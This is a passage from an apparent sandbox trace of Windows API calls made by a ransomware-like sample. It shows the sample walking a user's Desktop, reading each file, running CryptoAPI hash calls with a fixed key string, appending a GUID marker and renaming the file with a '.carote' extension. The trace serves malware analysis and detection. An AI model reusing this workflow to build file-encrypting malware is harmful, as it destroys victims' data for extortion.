VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.016] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xc9a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.016] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.017] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xc9c6, lpOverlapped=0x0) returned 1 [0112.018] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.018] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.018] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.018] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0112.019] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.019] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.019] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.019] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.019] GetLastError () returned 0x0 [0112.019] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.019] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0112.020] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xc9c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.020] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.020] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.020] CloseHandle (hObject=0x61c) returned 1 [0112.021] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FVqwxtFUoI.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fvqwxtfuoi.ots"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FVqwxtFUoI.ots.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fvqwxtfuoi.ots.carote")) returned 1 [0112.023] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ec8dbb0, ftCreationTime.dwHighDateTime=0x1d4c9c7, ftLastAccessTime.dwLowDateTime=0xdc958d40, ftLastAccessTime.dwHighDateTime=0x1d4cb14, ftLastWriteTime.dwLowDateTime=0xdc958d40, ftLastWriteTime.dwHighDateTime=0x1d4cb14, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="f_-8oBARRP9-U", cAlternateFileName="F_-8OB~1")) returned 1 [0112.023] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375260, ftCreationTime.dwHighDateTime=0x1d4c971, ftLastAccessTime.dwLowDateTime=0x48ee3250, ftLastAccessTime.dwHighDateTime=0x1d4cea6, ftLastWriteTime.dwLowDateTime=0x48ee3250, ftLastWriteTime.dwHighDateTime=0x1d4cea6, nFileSizeHigh=0x0, nFileSizeLow=0xabb1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="g3SB3fjz.wav", cAlternateFileName="")) returned 1 [0112.023] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\g3SB3fjz.wav") returned=".wav" [0112.023] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\g3SB3fjz.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g3sb3fjz.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.023] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=43953) returned 1 [0112.023] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.024] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xab8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.024] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.025] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xabb1, lpOverlapped=0x0) returned 1 [0112.026] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.026] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.026] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.026] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0112.027] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.027] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.027] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.027] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.027] GetLastError () returned 0x0 [0112.027] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.027] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0112.027] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xabb1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.027] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.027] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.028] CloseHandle (hObject=0x61c) returned 1 [0112.028] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\g3SB3fjz.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g3sb3fjz.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\g3SB3fjz.wav.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g3sb3fjz.wav.carote")) returned 1 [0112.029] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa76604f0, ftCreationTime.dwHighDateTime=0x1d4c7eb, ftLastAccessTime.dwLowDateTime=0x42e0c920, ftLastAccessTime.dwHighDateTime=0x1d4d100, ftLastWriteTime.dwLowDateTime=0x42e0c920, ftLastWriteTime.dwHighDateTime=0x1d4d100, nFileSizeHigh=0x0, nFileSizeLow=0xcc2c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Gnmre2J_Zh T.odt", cAlternateFileName="GNMRE2~1.ODT")) returned 1 [0112.030] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Gnmre2J_Zh T.odt") returned=".odt" [0112.030] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Gnmre2J_Zh T.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gnmre2j_zh t.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.030] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=52268) returned 1 [0112.030] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.031] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xcc06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.031] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.032] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xcc2c, lpOverlapped=0x0) returned 1 [0112.033] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.033] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.033] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.033] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0112.034] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.034] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.034] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.034] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.034] GetLastError () returned 0x0 [0112.034] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.034] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0112.034] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xcc2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.034] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.034] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.035] CloseHandle (hObject=0x61c) returned 1 [0112.035] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Gnmre2J_Zh T.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gnmre2j_zh t.odt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Gnmre2J_Zh T.odt.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gnmre2j_zh t.odt.carote")) returned 1 [0112.036] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c3e9870, ftCreationTime.dwHighDateTime=0x1d4c69a, ftLastAccessTime.dwLowDateTime=0x1ccb4850, ftLastAccessTime.dwHighDateTime=0x1d4d209, ftLastWriteTime.dwLowDateTime=0x1ccb4850, ftLastWriteTime.dwHighDateTime=0x1d4d209, nFileSizeHigh=0x0, nFileSizeLow=0xfe0f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GOG573ZY8rfBlY-.wav", cAlternateFileName="GOG573~1.WAV")) returned 1 [0112.037] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GOG573ZY8rfBlY-.wav") returned=".wav" [0112.037] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GOG573ZY8rfBlY-.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gog573zy8rfbly-.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.037] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=65039) returned 1 [0112.037] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.038] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xfde9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.038] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.039] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xfe0f, lpOverlapped=0x0) returned 1 [0112.040] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.040] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.040] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.040] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.041] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.041] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.041] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.041] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.041] GetLastError () returned 0x0 [0112.041] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.041] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.041] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xfe0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.041] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.041] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.041] CloseHandle (hObject=0x61c) returned 1 [0112.042] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GOG573ZY8rfBlY-.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gog573zy8rfbly-.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GOG573ZY8rfBlY-.wav.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gog573zy8rfbly-.wav.carote")) returned 1 [0112.044] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c3d1180, ftCreationTime.dwHighDateTime=0x1d4c824, ftLastAccessTime.dwLowDateTime=0x367e3ba0, ftLastAccessTime.dwHighDateTime=0x1d4cdee, ftLastWriteTime.dwLowDateTime=0x367e3ba0, ftLastWriteTime.dwHighDateTime=0x1d4cdee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JiLyW4X cG7WzlVAVa", cAlternateFileName="JILYW4~1")) returned 1 [0112.044] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34a34f50, ftCreationTime.dwHighDateTime=0x1d4cc68, ftLastAccessTime.dwLowDateTime=0x271a4890, ftLastAccessTime.dwHighDateTime=0x1d4ce4b, ftLastWriteTime.dwLowDateTime=0x271a4890, ftLastWriteTime.dwHighDateTime=0x1d4ce4b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j_8df4HNVB0C0RCpZ-GV", cAlternateFileName="J_8DF4~1")) returned 1 [0112.044] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e276630, ftCreationTime.dwHighDateTime=0x1d4c71c, ftLastAccessTime.dwLowDateTime=0xe3297a30, ftLastAccessTime.dwHighDateTime=0x1d4d2ef, ftLastWriteTime.dwLowDateTime=0xe3297a30, ftLastWriteTime.dwHighDateTime=0x1d4d2ef, nFileSizeHigh=0x0, nFileSizeLow=0x4acd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pXJT.gif", cAlternateFileName="")) returned 1 [0112.044] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pXJT.gif") returned=".gif" [0112.044] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pXJT.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pxjt.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.044] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=19149) returned 1 [0112.044] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.045] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x4aa7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.045] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.046] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x4acd, lpOverlapped=0x0) returned 1 [0112.046] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.046] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.046] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.046] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0112.047] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.047] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.047] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.047] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.047] GetLastError () returned 0x0 [0112.047] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.047] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0112.047] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x4acd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.047] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.047] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.047] CloseHandle (hObject=0x61c) returned 1 [0112.048] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pXJT.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pxjt.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pXJT.gif.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pxjt.gif.carote")) returned 1 [0112.049] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac1a7880, ftCreationTime.dwHighDateTime=0x1d4c67b, ftLastAccessTime.dwLowDateTime=0x94b103c0, ftLastAccessTime.dwHighDateTime=0x1d4cb09, ftLastWriteTime.dwLowDateTime=0x94b103c0, ftLastWriteTime.dwHighDateTime=0x1d4cb09, nFileSizeHigh=0x0, nFileSizeLow=0x51c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UnO 907l.wav", cAlternateFileName="UNO907~1.WAV")) returned 1 [0112.049] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UnO 907l.wav") returned=".wav" [0112.049] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UnO 907l.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uno 907l.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.049] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=1308) returned 1 [0112.049] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.050] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x4f6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.050] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.052] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x51c, lpOverlapped=0x0) returned 1 [0112.052] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.052] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.052] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.052] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0112.053] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.053] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.053] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.053] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.053] GetLastError () returned 0x0 [0112.053] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.053] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0112.053] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x51c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.053] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.053] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.053] CloseHandle (hObject=0x61c) returned 1 [0112.054] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UnO 907l.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uno 907l.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UnO 907l.wav.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uno 907l.wav.carote")) returned 1 [0112.055] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccd1c1c0, ftCreationTime.dwHighDateTime=0x1d4c912, ftLastAccessTime.dwLowDateTime=0xd4d4f50, ftLastAccessTime.dwHighDateTime=0x1d4d23f, ftLastWriteTime.dwLowDateTime=0xd4d4f50, ftLastWriteTime.dwHighDateTime=0x1d4d23f, nFileSizeHigh=0x0, nFileSizeLow=0x10594, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UTYb2gnV5j 